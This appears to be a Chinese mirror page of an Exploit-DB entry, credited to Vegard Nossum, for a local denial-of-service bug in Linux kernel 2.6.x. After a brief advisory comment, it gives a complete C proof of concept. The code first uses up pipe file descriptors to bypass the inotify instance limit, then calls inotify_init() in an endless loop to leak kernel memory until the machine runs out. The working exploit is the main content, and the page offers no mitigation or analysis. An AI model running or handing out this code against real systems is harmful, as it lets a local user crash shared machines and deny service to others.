Linux Kernel 2.6.x – ‘inotify_init()’ Memory Leak Local Denial of Service - 体验盒子

作者： Vegard Nossum

日期： 2010-11-24

类别：

dos

平台：

linux

来源：https://www.exploit-db.com/exploits/35013/

/*
source: https://www.securityfocus.com/bid/45036/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users. 
*/


#include <sys/inotify.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
int fds[2];

/* Circumvent max inotify instances limit */
while (pipe(fds) != -1)
;

while (1)
inotify_init();

return 0;
}